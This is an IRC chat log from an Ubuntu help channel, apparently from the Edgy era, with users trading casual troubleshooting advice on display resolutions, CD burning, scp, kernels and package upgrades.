JoshJer, you CAN background a process from another TTY09:19
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OrangeOrangeMerylnc: im in gui mode... just that my resolution is "wrong" i want 1280x800... but i dont have the option to change that09:19
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JoshJlet me look that up09:19
bakertJoshJ i tried to google it but i couldn't even work out the search terms!09:19
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JoshJlinuxcommand.org FTW09:20
bakertJoshJ at least i'm a bit more sure about tty now!09:20
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FactTechflannel That is what happened when I selected "save session", but I was expecting what you described for hibernate. What's the point of having it reopen the program but not the file?09:20
OrangeOrangeMerylnc: i tried a link to help me on it.. but all it did was give me 2 additional options (800x600 and 600x400)09:20
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JoshJYou can type control-z and the process will be suspended. The process still exists, but is idle. To resume the process in the background, type the bg command (short for background). Here is an example:09:20
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FactTechFlannel I'm asking because I want to know, not to complain.09:20
MerlynCOrangeOrange: did you modify your xorg.conf to add the resolution09:20
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gandalfcomei have a problem with my dual screen setup (ati). I get a mouse offset on one screen. Please help09:20
MerlynCstefg: thats fine didn't want you to run away :-D09:20
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FlannelFactTech: that'd be save session.  Hibernate saves your RAM to your HD, then puts it back in the RAM when you boot up, as if you had never shut down09:20
christomy send/receive button in Evolution is disabled... I guess I did something dumb without realising.. anybody know how to re-enable it pls?09:20
ChetwinHey all.  I have a 1GB usb flash drive and I am unable to format it.  I think it is too full.  Can I do a full wipe somehow?09:21
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mzanfardino!ipv609:21
bakertJoshJ - the trouble is i can't see the terminal it is running in.  so i need to be able to suspend it from tty1 or something09:21
ubotuTo disable ipv6 read https://help.ubuntu.com/community/WebBrowsingSlowIPv6IPv409:21
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FlannelFactTech: the save session would be if you had... a music player open, or some monitoring program, or something else like that09:21
JoshJoh, durr09:21
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JoshJthat's a good point heh09:21
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JoshJi have no idea how to get around that, and you should clearly just use screen in the future :P09:21
OrangeOrangeMerylnC; yes i did.. but it still desont show the option to change that.. or set to that size09:21
ChetwinHey all.  I have a 1GB usb flash drive and I am unable to format it.  I think it is too full.  Can I do a full wipe somehow?09:21
bakertJoshJ - can bg be called with a process id or something like that???09:21
FactTechFlannel OK, so basically the "saved session" is the equivalent of the "startup" folder in Windows.09:21
bakertJoshJ i'll check the man page09:22
JoshJhm09:22
JoshJdunno09:22
JoshJman bg gets no results for me09:22
JoshJso lemme just test that09:22
FlannelFactTech: They're different, but yeah, I suppose you could use them the same.09:22
OrangeOrangeMerylnC; i edit the Section Screen09:22
riotkittiescreen is my new boyfriend. <hugs it>09:22
mnoirJoshJ: i do not think there is a way to communicate to a tty session that you are not attached to -09:22
christoaah - it was the 'work offline' command - fixed now09:22
ChetwinAnyone anyone?09:22
bakertJoshJ appears to take a jobid but not a process id09:22
fghjhow do I install kerberos? whic packages?09:22
JoshJah :(09:22
swarogthere is no joe editor in default apt source tree on 6.1009:22
JoshJ!kerberos09:22
ubotuSorry, I don't know anything about kerberos - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:22
swarogany ideas where to look?09:22
MerlynCOrangeOrange: What does it say for your "Device"09:23
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JoshJkerberos4kth-kip looks like it, fghj09:23
OrangeOrangeMerylnC; actually i ran the autoscript.. and then attempt to set at 1280... but its still the same size.. and i believe it change the xonfg for me09:23
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bakertmnoir - so i can't background a process from another tty under any circs?09:23
lunHey all, after an upgrade 3 days ago, everything of my edgy start to become slow:starting terminal, firefox, even open a new tab for a new website, I tried top and the cpu usage is almost always 0%, anyone can give me a start point to fix this?09:23
mnoirbakert: i believe that is the case09:23
MerlynCOrangeOrange do you see my PM to you?09:23
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JoshJlun: check memory usage09:23
JoshJ(RAM or whatever)09:23
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mnoirbakert: been seeing the question for years09:23
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bakertmnoir ok i think we were coming around to that conclusion.  thanks.09:23
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swarogis the joe in universe?09:24
lunMem:   1034224k total,   588676k used,   445548k free,    16560k buffers09:24
lunSwap:  1124508k total,        0k used,  1124508k free,   291072k cached09:24
Alarmcan i limit sshd for simple users that log in to have access only on /home/user folder and not to be able to go to / dir , or even subfolders of /home/user/subfolder ?09:24
OrangeOrangeMerylnC: nope09:24
JoshJyes, joe is in universe, swarog09:24
bakertfoobarian, JoshJ, mnoir thanks for your help09:24
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gandalfcomei have a problem with my dual screen setup (ati). I get a mouse offset on one screen. Please help09:24
foobarianbakert, no problem09:24
OrangeOrangeMerylnC: btw the device is09:24
riotkittiethe joe :D09:24
lundoes that memory usage mean anything wrong?09:24
HooblyI'm at my wits' end.  Someone please help09:24
OrangeOrangeMerylnC: INtel Corp Mobile lalala09:24
JoshJmnoir: if it's a problem, why wouldn't someone make an app that makes it possible?09:24
OrangeOrangeMerylnC: the same stuff i copy+paste09:24
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:25
JoshJis there a technical reason or just "nobody's done it yet?"09:25
MerlynCOrangeOrange: and in the "Modes" You added the resolution09:25
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mnoirJoshJ: amazingly enough, it doesn't seem to be as much of a problem as it might seem09:25
stefgMerlynC: i read in a german forum that this is an issue with a module snd-hda-intel, which is wrongly loaded and needs blacklisting, and another module snd-ac97-bus  that needs to be added to /etc/modules... but that's not 100% reliable... thread is open end09:25
mnoirJoshJ: i mean not having the ability09:25
JoshJwell, yes, you can solve it with screen or whatever09:25
JoshJit just seems like a rather mean "gotcha", so to speak09:25
mnoirAlarm: look at using a chroot jail or rbash09:26
MerlynCstefg: Meaning? (been a few years since I have touched Linux, and first time really caring about audio)09:26
OrangeOrangeyep09:26
lunJoshJ, can you help me look at this? Does this memory usage mean something wrong?Mem:   1034224k total,   588676k used,   445548k free,    16560k buffers09:26
lunSwap:  1124508k total,        0k used,  1124508k free,   291072k cached09:26
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JoshJno, that doesn't mean anything wrong, lun09:26
OrangeOrangeMerylnC: all mode is what i want ("1280x800")09:26
stefgMerlynC: meaning your autodetection failed, and you have t manually choose the right driver09:26
JoshJi don't know why your system would be slow :\09:26
Alarmthanks09:26
lunthen where else could I look at?09:26
lunthanks anyway:D09:26
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docmurI'm a noob programmer can C use GTK lib's or do I have to use C++09:27
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BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:27
JoshJi would expect C to be able to but i don't know for sure09:27
MerlynCstefg: Any suggestions on where to check (been all over google for the last few hours and I am stumped)09:27
JoshJand...09:27
JoshJhttp://www.gtk.org/tutorial/09:27
JoshJenjoy!09:27
lunanything wrong with this in .xsession-errors ? ** (gnome-session:5250): WARNING **: Host name lookup failure on localhost.09:28
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bjameshi all09:28
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riotkittiehi bjames09:28
erUSULdocmur: gtk is indeed a c library, c++ bindings do exist called gtkmm. There are bindings for python, ruby perl etc09:28
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stefgMerlynC: It's a problematic piece of hardware... there's lots of hits, but no 'flesh'...09:29
JoshJhi mnoir09:29
JoshJ>_>09:29
MerlynCstefg: :-/09:29
tim167anyone know why gksu "sh /cdrom/cdromupgrade" gives no such file or directory ?09:29
bjamesI'm fairly inexperienced with Linux.  I have an Ubuntu server set up and I log into it using SSH to mess with SAMBA settings, etc using Putty - how can I copy files from it to my Windows machine via remote login?09:29
mnoirJoshJ: i meant to bjames :)09:29
foobarianhmmmm09:29
MerlynCOrangeOrange: I found drivers on intels website regarding the 945, you have the 950, it might be worth a shot, but I really can't help much past that, not the best with integrated video09:29
JoshJtim167: because there's no cdromupgrade dir in /cdrom ?09:30
JoshJalso gksu sh is a mixup09:30
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JoshJyou should be doing sudo sh whatever09:30
MerlynCstefg: Technically... I could just swap the cables for a simple fix :-D, just no 5.1 until Q2 of XFi Drivers for Linux09:30
FlannelJoshJ: no, you shouldn't do that even.09:30
mnoirbjames: putty supports scp.  for more fun, install cygwin on yer windows box to turn it into a fake unix box09:30
foobarianJoshJ, given a process P, 'kill -STOP P; kill -CONT P' then killing the controlling terminal leaves the process running in the background.09:30
tim167I have /media/cdrom-1, which contains the Edgy Alternate install cd, and I tried /cdrom-1 too09:30
FlannelJoshJ: sudo -i is the correct method09:30
JoshJah, right09:30
tim167JoshJ: i mean gksu "sh /cdrom-1/cdromupgrade"09:31
stefgMerlynC: you have to investigate which modules are actually loaded (lsmod) and compare that to a list of modules which are known to be needed. More time-consuming tahn i can spend ATM09:31
bjamesmnoir: I don't particularly want a Linux environment on the Windows box09:31
bjameshow do I use scp?09:31
JoshJman scp09:31
OrangeOrangeMerylnC: Thanks... damn i really hate 1024x768 resolution on this laptop09:31
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Flannel!scp09:31
ubotuSCP is a secure way of copying files across networks using !SSH. Usage: scp filename user@host:filename - WinSCP is a client for Windows, available at http://winscp.net/09:31
MerlynCstefg: that is fine, could you link me to that post09:31
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mnoirbjames: i do not remember - go to the putty support page for that :)09:31
bjamesah ok - I thought it was a Putty thing09:31
stefgMerlynC: it's all german :-)09:31
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MerlynCOrangeOrange: I am no god at this stuff, just post again asking the same question, someone is bound to know, and Google is god IMO09:31
JoshJscp is a perfectly fine command line app, you don't need putty for it09:31
kane77hi09:31
foobarianbakert, do you want to try an experiment?09:31
MerlynCstefg: and translators are my friend :-D09:32
JoshJin fact, there's not much need at all for putty on linux09:32
tim167I tried: gksu "update-manager -c" but that stalls on not being able to download certain files...09:32
mnoirJoshJ: does it run on linux??09:32
JoshJtelnet, ssh, and scp all are natively on linux for the most part, whereas windows only has telnet natively iirc09:32
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JoshJmnoir: yes :P09:32
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JoshJit's crossplatform09:32
kane77is there some voip software that would communicate over LAN (without necessarily connecting to internet)09:32
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kane77?09:32
mnoirJoshJ: hmm - that's a waste :)09:32
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JoshJit's a drag-drop install process on either platform :P09:32
eriscoI have inserted a blank writable CD into my CD-rom drive. Ubuntu (6.06) has picked up the drive's name, so it must know that it is there. However using K3b, it is unable to detect that the CD is in the drive. It reports that no disk is found. Where can I get help relating to these types of problems?09:32
foobariankane77, gnomemeeting? ekiga?09:33
stefgMerlynC: http://forum.ubuntuusers.de/topic/38002/09:33
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JoshJas in, "download putty.exe" on windows and "download putty.exe equivalent" on linux (though i use package manager if i want it)09:33
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tim167failed to fetch .../edgy/main/pacages/source/sources.gz 404 Not Found09:33
MerlynCstefg and OrangeOrange: you 2 take care, thank you for the help stefg, going to do some more digging worst case, I have an old SBLive 5.1 Digital :-D09:33
kane77foobarian, does that work on lan? (without internet?)09:33
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JoshJtim167: did you copy-paste that?09:33
MerlynCstefg: Actually, I might just use that instead, I know SBLive is supported under like DOS for christ sake :-D09:33
stefgMerlynC: that's waht i call Life-nsurance09:33
mnoirJoshJ: with the kio slaves, i hardly ever use ssh for anything but tunneling X09:33
JoshJbecause it says "pacages" instead of "packages"09:33
bjamesDOH! I forgot I can just move the file to my SAMBA share09:33
tim167JoshJ no09:33
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bjames!!09:33
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tim167JoshJ its on another computer, it had a typo i know...09:34
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JoshJah, ok09:34
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MerlynCstefg: the SBLive? I know, I actually have 2 of them, they are easy to come by, and the most universal card I think I have ever seen09:34
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OrangeOrangeMerylnc: thanks.. i will google deep now09:34
erisco!cd burners09:34
stefgMerlynC: that's what qualifies them for the Life-Insurance job :-)09:35
ubotuSorry, I don't know anything about cd burners - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:35
JoshJgnomebacker, k3b09:35
JoshJ*baker09:35
JoshJ!gnomebaker09:35
ubotugnomebaker: application for CD/DVD creation in the GNOME desktop. In component universe, is optional. Version 0.6.0-0ubuntu2 (edgy), package size 991 kB, installed size 2964 kB09:35
JoshJ!k3b09:35
erisco!cd writers09:35
ubotuk3b is a feature-rich and user-friendly burning application for KDE (and, as all KDE applications, works fine on GNOME). For a guide, see https://help.ubuntu.com/community/K3BHowto09:35
ubotuSorry, I don't know anything about cd writers - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:35
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erisco!cd09:35
ubotuSorry, I don't know anything about cd - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:35
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eriscocome on -.-09:35
NkZGreetings Guys! I have an Issue. When playing some videos (WMV) on VLC PLayer, the video get's weird, like it does not refresh correctly. Do I need to Download codecs or something or config anything?09:35
JoshJerisco : see what i just gave you09:35
BigToeer, erisco09:35
foobariankane77, i think so, the sip account is optional09:35
BigToelook up :P09:35
JoshJgnomebaker for gnome and k3b for kde09:35
MerlynCOrangeOrange: just to give you some push... 5 days ago I said I am going to get back into Linux... been 3 years, (19 now), since those 3 days, I ran into not being able to use live CD... had to use alternate, had to reinstall ubuntu 4 times, running 64 bit duel core, and running games on this, got that all working today... and now I am sitting with working OSS Drivers in cedega (WineX) and no ALSA, yet it says my card works (under ALS09:36
JoshJ!xipietotex09:36
ubotuSorry, I don't know anything about xipietotex - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:36
eriscoJosh, Gnomebaker crashes on me. K3b doesn't detect the CD rom09:36
JoshJoof :(09:36
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BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:36
rskerisco: try nerolinux09:36
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MerlynCstefg: You take care, SBLive time :-D09:36
OrangeOrangeMerylnc: hahah ok09:36
gandalfcomei have a problem with my dual screen setup (ati). I get a mouse offset on one screen. Please help09:36
eriscorsk, what is the package name?09:36
JoshJso, it's pretty clear what the most important things are:09:37
NkZGreetings Guys! I have an Issue. When playing some videos (WMV) on VLC PLayer, the video get's weird, like it does not refresh correctly. Do I need to Download codecs or something or config anything?09:37
riotkittiereinstall 4 times in 3 days? man. oh. man.09:37
BigToe!nero09:37
eriscoI just need to burn the image for 6.10 so I can install it09:37
rski dont thinks its in ubuntu repos09:37
ubotuSorry, I don't know anything about nero - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:37
BigToe!nerolinux09:37
ubotuSorry, I don't know anything about nerolinux - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:37
BigToe:S09:37
IndyGunFreakBigToe, what is nerolinux?09:37
OrangeOrangeriotkittie: i resintall more than that in one day.. but it was xp :<09:37
JoshJ1. codecs, with 5815 requests.09:37
Flannel!burn09:37
ubotuCD/DVD Burning software: K3b (KDE), gnomebaker, serpentine, graveman Nautilus cd burner (Gnome), gtoaster, xcdroast, cdrecord (terminal-based). Burning .iso files: see https://help.ubuntu.com/community/BurningIsoHowto09:37
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JoshJ!restrictedformats09:37
ubotuFor multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats09:37
tim167so now, how do I upgrade my dapper to edgy then ? the methods suggested on https://help.ubuntu.com/community/EdgyUpgrades dont work09:37
stefg!k3b | BigToe09:37
ubotuBigToe: k3b is a feature-rich and user-friendly burning application for KDE (and, as all KDE applications, works fine on GNOME). For a guide, see https://help.ubuntu.com/community/K3BHowto09:37
IndyGunFreakholy crap09:37
IndyGunFreakrelax09:37
JoshJthere you go NkZ09:37
riotkittieOrangeOrange: heh.09:37
daedra!anything09:37
ubotuSorry, I don't know anything about anything - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:37
JoshJ2. pastebin. 3. ati/nvidia drivers. 4. repositories. 5. wifi.09:38
BigToe!camera09:38
JoshJthat's a hell of a top 5 list09:38
OrangeOrangei so want to fix my resolutoin and use beryl :>09:38
IndyGunFreakBigToe, just use gnomebaker, and we can all die happy09:38
NkZThanks!09:38
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ubotuSorry, I don't know anything about camera - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:38
apokryphos!botabuse09:38
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ubotuPlease investigate with me only in /msg or in #ubuntu-bots (see also !Bot). Abusing the channel bots will only result in angry ops...09:38
ubotuSorry, I don't know anything about cameras - try searching on http://bots.ubuntulinux.nl/factoids.cgi09:38
OrangeOrangehmmm09:38
BigToe:S09:38
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ubotuThe people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines09:38
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apokryphosOrangeOrange: stop09:38
IndyGunFreakgive it a break man, geez09:38
OrangeOrange:< ok just testing09:38
IndyGunFreakwe all know you figured out how to use the bot09:38
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BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:39
stefgtim167: what's wrong with dapper? Honestly speaking you are trading a reasonably stable version for a 'less loved child', that tends to make trouble09:39
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apokryphosubotu: language | OrangeOrange09:39
ubotuOrangeOrange: Please watch your language and keep this channel family friendly.09:39
swarogcan someone tell me where is joe editor package?09:39
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JoshJstefg : would you believe that i've had far more issues with dapper than edgy?09:39
JoshJswarog: universe09:39
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tim167stefg: I'm on Edgy with my laptop, and I want to AptOnCd stuff from here to the desktop with the dapper installation09:40
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Flannelswarog: you might also be interested in nano, which is already installed09:40
OrangeOrangewhat irc clients you guys use?09:40
Alarmhow can i mount bin files ?09:40
BigToexchat09:40
riotkittieirssi09:40
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swarogFlannel: yeap, but i dont like it09:40
JoshJtim167: i think your best bet is dpkg -l | grep ^ii > textfile09:40
swarogused to joe09:40
tim167stefg: I have to decide now, I found out how to run the upgrade from the Alternate CD...09:40
J-_irssi09:40
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Flannelswarog: alright.  joe is in universe.09:40
JoshJthen parse the text file to get a long apt-get line09:40
JoshJxchat myself, and this is what ctcp version is for09:41
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FlannelNo, it's not.  CTCP version is a good way to get yourself kicked09:41
JoshJthough doing /ctcp channelname version will probably get you shot09:41
swarogFlannel: thanks09:41
stefgtim167: i can't decide for you... installed edgy, ried 2 weeks to fix all the junk out of it, gave up and pimped my dapper09:41
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jkimball4Has anyone had any issues upgrading from Feisty herd 1 to feisty herd 2?09:41
tim167JoshJ I'll have look at it09:41
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JoshJjkimball4 : try #ubuntu-future or whatever the channel is for that09:42
tim167stefg: what kind of problems on Edgy ?09:42
jkimball4thanks JoshJ09:42
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JoshJ#ubuntu-feisty09:42
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mnoir#ubuntu+109:43
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JoshJderf09:43
stefgtim167: kernel, usplash, Openoffice, xorg (wrong libfreetype for OOo) ,... a bunch of real stupud bugs, which tell 'we didn't have enough time for testing'09:43
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JoshJso i'm curious, how many people in here plan to switch to debian etch when that comes out?09:44
deepbluegene hi. i have nvidia geforce2 mx 4000 agp card. how and from where i can install the drivers. i am unable to use google earth.i just keep flickring at very high rate09:44
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lunIt's so strange that suddenly everything is slow in Edgy.09:45
tim167stefg: hm, you make me think twice, although I havent had major problems here on Edgy09:45
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JoshJi haven't had edgy problems either, but i think the real problems come in the upgraderather than the fresh install09:45
JoshJespecially if you've got a lot of stuff that's outside the package manager09:45
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riotkittiedebian schmebian. eh. i might give it a go.09:46
stefgtim167: it's the same with me: on the lappie edgy is a winner, but on the desktop it's junk09:46
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ItakuHello all !09:46
trappiststefg: I'll second that09:46
ItakuIs daftman there ?09:46
trappiststefg: due to the non-preemptible kernel09:47
tim167trappist: you must be belgian ;)09:47
trappiststefg: but in feisty we have a low-latency kernel in universe09:47
trappisttim167: no, I just love their beers :)09:47
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tim167heh09:47
phr34ckhey, I have a .package file ... how can I install it ?09:47
foobarianJoshJ, no debian for me, ubuntu seems better at following the cutting edge09:48
JoshJi think .packages work automatically if you doubleclick them09:48
rogue780is there a way to set samba up so it doesn't require any username and password to view and modify a share?09:48
tim167trappist: feisty is what comes after Edgy ?09:48
stefgtrappist: i gave up a long time ago on ubuntu stock kernels... dev's have to fix the release process first. I have my config and run vanilla + ck-patch kernels on all my machines09:48
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rogue780tim167, yes09:48
eriscoI don't think Ubuntu is successfully mounting my CD rom drive. Is there a way I can try this myself?09:48
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rogue780erisco, try sudo mount /dev/cdrom /media/cdrom09:49
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trappiststefg: I find it to be a pita to keep up with running my own kernel, so I only do it if I have to, as in with edgy09:49
tim167trappist: if you say low-latency, do you mean for audio apps ?09:49
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Itakucomment on installe la nouvelle version de FF ?09:49
pike_erisco: and dont try to mount an audio cd :)09:49
JoshJ!fr09:49
ubotuAllez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.09:49
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trappisttim167: that was the idea behind it, but I mostly just wanted a preemptible kernel so i/o would make X lag09:49
ardchoille42This thing is awesome! I love the Ubuntu community   http://ubuntuforums.org/showthread.php?t=33679509:49
schismsCan you guys help me with something relating to linux, but not ubuntu?09:49
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jribschisms: just ask09:50
rogue780ardchoille42, nice tsu09:50
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:50
HymnToLifeschisms, just askt, Ubuntu is related to Linux, isn't it ?09:50
schismsI need some contributors for my linux wiki.09:50
foobariantrappist, is a preemptible kernel going to fix that?09:50
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rogue780ardchoille42, or was that a shi...it's been a while09:50
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schismsAnd I was hoping this isn't asking too much.09:50
trappistfoobarian: yes09:50
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stefgtrappist: that's my biggest complaint... Once ubuntu was the trouble-free alternative to debian. Actually *now* it's kind of running Debian SID, in trms of convinience09:50
trappistfoobarian: that's pretty much the whole point, so kernel processes don't get in the way of userspace processes (too much)09:51
phr34ckhey, I have a .package file ... how can I install it ?09:51
ardchoille42rogue780, Refresh my memory.. since my memory sucks, lol09:51
eriscopike_ it can do that09:51
riotkittie<head/desk>09:51
JoshJer09:51
JoshJthat's bad syntax09:51
eriscorogue780, it said no medium was found09:51
JoshJit's head | desk09:51
trappiststefg: I still have fewer complaints than with any other distro, but yeah the kernel thing bugs me09:51
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HymnToLifestefg, I'm running sid right now and I'm very happy with it09:51
foobariantrappist: do you know this from experience? with X it's often another user process getting in the way and preemption doesn't help09:51
mnoirum head <-> desk09:51
schismsI just know that someone here has enough info for it.09:51
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rogue780erisco, my vast knowledge has been exhausted...maybe 'cause I'm noobish09:52
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trappistfoobarian: my big problem has been X lag under i/o load, especially when installing packages.  built my own preemptible kernel and presto, no more problem09:52
eriscorogue780, I am not sure you can "mount" a blank disk. However all the programs I try say one has not been inserted (when one has)09:52
jribschisms: I thought you meant a support question, that is better asked in -offtopic09:52
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:52
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riotkittiemount /dev/desk /head && umount /head && mount /dev/desk /head &&...09:52
stefgMy pint is: Ubuntu is loosing its right of existance if its as troublesome as sid, only different problems09:52
schismsThought so, thanks anyway.09:52
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foobariantrappist: i see, that's great!09:53
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fooI have eth0, eth0:1, eth0:2.. eth0:5. For some reason, ubuntu was  using eth0 last night to get out to the Internet, but now it's using  eth0:3 ... makes no sense to me. Any reason for this? It changes and seems to go out on different IPs. This is really frustrating... who and/or what do I blame?09:53
rogue780erisco, I didn't realize it was a blank disc09:53
BigToeriotkittie, use loop :P09:53
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trappiststefg: even mandrake hasn't lost its right to exist :)  it's just in danger of not being the most awesomest distro... but it'll have to do worse than this for that09:53
riotkittieBigToe: that'd make too much sense ;p09:53
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rogue780erisco, I dunno.09:53
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eriscorogue780, I am trying to burn an ISO image for ubuntu 6.10...09:54
footrappist: hah, yo09:54
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eriscogah this is ridiculously fusterating.09:54
foobariantrappist: my biggest issues have been due to some process eating up all memory, and causing a swap death.  this is easy to prevent by setting a memoryuse limit though.09:54
rogue780erisco, you may be able to use dd09:54
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eriscorogue780, what is that?09:54
rogue780erisco, something like dd if=ubuntu.iso of=/dev/cdrom I think is the syntax. man dd to be sure09:54
rogue780it's a image making/copying program09:55
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rogue780very useful09:55
rogue780it may do what you need it to do09:55
BigToelol riotkittie09:55
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salah__any ideas how to get the card reader (SD - MS/Pro - MMC - SM - XD) on my computer to work?09:56
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?09:56
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phr34ckso noone knows how to deal with .package files?09:56
pike_phr34ck: i know to avoid them :)09:57
ardchoille42salah, I bought a card reader and found that I plugged it into a USB slot but nothing happened until I actually inserted a card, then an icon popped up on the desktop and I could browse the card with nautilus.09:57
salah__BigToe, import it manually via mounting the memory card on it09:57
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eriscorogue780, know any GUIs for man pages?09:57
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killowndo anyone know any program simulator effects guitar?09:57
rogue780erisco, nope09:57
salah__ardchoille42, my card reader is builtin to the computer, and I have a card inserted09:57
phr34ckpike_, I can't ... I downloaded the new version of amsn and it's .package file ... what am I suppose to do ?09:57
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phr34ckThere is also a tar file, should I download that ?09:58
rogue780erisco, the dd thing should be simple though... if is the input file of is the output file (being /dev/cdrom)09:58
eriscorogue780, i cannot begin to understand what it is saying, anyways09:58
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petafileAny ideas why my soundcard only works about half the time I boot up?09:58
Goshais it possible to create a new workspace without any bars .. as in the top and the bottom thing, i want a program fullscreened there09:58
rogue780hold on and I will tell you exactly what to do09:58
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BigToesalah, how?09:58
JoshJGosha: if you have an actual fullscreen program it will get rid of the bars on its own09:58
eriscorogue780, dd: opening `/media/cdrom': Is a directory09:58
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Goshano, it's not fullscreen09:58
Goshafirefox actually09:58
petafileIt either works fine, or not at all, and its aparantly decided at least by the time the login manager starts09:58
kohr_I just got a new HDD and i want to know what filesystem i should put on it, I want it to be windows and linux accessible, and be able to password protect files09:59
BigToeI've been through this before salah and it seems weirdly, I can't mount it09:59
rogue780erisco, sudo dd if=/home/user/ubuntu.iso of=/dev/cdrom09:59
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JoshJGosha hit f11 in firefox09:59
JoshJthat toggles fullscreen-ness09:59
rogue780erisco, obviously change the path of the iso to the correct one09:59
daedraanyone know of any commandline music players?09:59
JoshJyou don't need to do anything with the workspaces09:59
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pike_kohr_: fat32 is standard for shared partition09:59
foobariandaedra, mpg12309:59
Goshaoh, wait .. it's not firefox >_<09:59
Goshait's a java applet09:59
eriscorogue780, came back with the same thing09:59
JoshJ...heh09:59
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lmoshersudo apt-get dist-upgrade wants to remove 'nvidia-glx' why and should I trust this?09:59
kohr_pike_ can I password protect files?09:59
JoshJo_O10:00
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foobarianlmosher, from dapper to edgy?10:00
rogue780sudo umount /dev/cdrom10:00
eriscorogue780, and for /dev/cdrom I get: dd: opening `/dev/cdrom': No medium found10:00
petafilekohr_, true, vfat is probably best, but with ntfs-3g, windows is happier, and I haven't heard of any ntfs3g problems10:00
faeryNatsukii found my sound problem...10:00
rogue780erisco, my last msg is for you10:00
jriblmosher: are you upgrading from dapper?10:00
lmosherfoobarian, no I have edgy10:00
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eriscorogue780, it came back saying it was not mounted10:00
Goshais there no way?10:00
BigToeI've been through this before salah__  and it seems weirdly, I can't mount it10:00
daedra~~10:00
jriblmosher: why run dist-upgrade on edgy?10:00
daedra~~10:00
foxinesssalah__:do a search on linuxlaptop on the YOUER_LAPTOP_MODEL secition and you may find sol there10:00
Gosha!workspaces10:00
foobarianlmosher: what he said10:00
ubotuSorry, I don't know anything about workspaces - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:00
jerplmosher, do you have beryl installed?10:00
Gosha!workspace10:00
petafileNo sound card ideas?10:00
ubotuSorry, I don't know anything about workspace - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:00
pike_kohr_: you can encrypt. other than fat im not really sure what alternative you have if you want to view in windows too10:00
Gosha:(10:00
rogue780do you have a /dev/cdrom0 or /dev/dvd ?10:01
faeryNatsukimy creative sound card it's not "compatible" with flash and java sound... maybe it's an option or setting for this sound card10:01
lmosherfoobarian, jrib: 2.6.17-10-generic. yes I use beryl, and the auto-update utility told me it needed to do a dist-upgrade and then got an error.10:01
stefgkohr_: FYI, i'm running ntfs3g without issues for half a year. Avoid compressed NTFS, btw10:01
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JoshJdist-upgrade  in addition to performing the function of upgrade,10:01
JoshJ              also intelligently handles changing dependencies with  new  ver10:01
JoshJ              sions  of  packages;10:01
JoshJdist-upgrade isn't JUST for going dapper -> edgy :P10:01
eriscorogue780, I did cdrom0 and things happened...10:01
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JoshJyou do dist-upgrade also when foo (depends on bar) also now depends on baz10:01
kohr_stefg should i choose that over fat32?10:01
rogue780erisco, magical things?10:01
eriscorogue780, something very wrong10:01
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mzanfardino!ipv610:01
ubotuTo disable ipv6 read https://help.ubuntu.com/community/WebBrowsingSlowIPv6IPv410:01
Skyrailubuntu won't find my camera when I plug it in, any ideas what the problem maybe? It acts as if it's connected teh camera does but ubuntu won't mount anything10:01
lmosherjerp, Yes i use beryl, what's that mean? Should I trust?10:01
foobarianall i know is, dist-upgrade hosed my machine going from dd to ee10:02
jribJoshJ: that shoudln't change once edgy is released stable though should it?10:02
eriscorogue780, it ran out of space after 500MB... and it went at 51MB per second. That isn't right at all10:02
JoshJjrib: it can10:02
jerplmosher, I had the same problem10:02
faeryNatsukihow can i restart the sound system without restating computer?10:02
rogue780I would like to take this moment to remind folks that I take absolutely no responsibility for damages I may cause to your computer10:02
stefgkohr_: fragmentation, 4GB size-limit, inefficiency on drives >32G10:02
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lmosherjerp, hrm did you do the dist-upgrade? Or just ignore it?10:02
rogue780erisco, what command did you do?10:02
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lmosherJoshJ, So do you reccomend I do the dist-upgrade, which wants to remove nvidia-glx?10:02
petafileis there a better channel to ask about sound card issues?10:03
eriscorogue780, hehe, there it is. A corrupted file sitting there in /dev/ named cdrom0 :P10:03
BigToeWhen trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing? I can't seem to mount the digital camera either, so :S10:03
rogue780erisco, and could you do a df -h for me?10:03
rushfan2can someone answer two quick questions about Ubuntu server?10:03
eriscorogue780, *deletes*10:03
ardchoille42There used to be a way to view man pages in nautilus. Was it removed from nautilus?10:03
JoshJlmosher : i have no idea because i don't know if you NEED nvidia-glx or not10:03
JoshJbecause (A) i don't use nvidia10:03
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kohr_stefg its 250Gb, windows can access ntfs3g?10:03
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JoshJand (B) i've never had dist-upgrade ask me that10:03
rogue780erisco, have you tried using k3b?10:03
SkyrailAnyone know why ubuntu won't mound my camera?10:03
Skyrail*mount10:03
lmosherJoshJ, ok ty anyway. I don't know what requires it either, but apt-get thinks I don't :P10:03
JoshJi recommend seeing what depends on nvidia-glx10:03
jerplmosher, nvidia-glx broke on me, I installed the new beta driver and got it rebuilt through aptitude and today it wants to upgrade it to the driver version 974610:03
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BigToeSkyrail, what camera?10:03
petafilekohr_, ntfs 3g is the way linux sees xp ntfs volumes10:03
petafilentfs is native to windows xp10:04
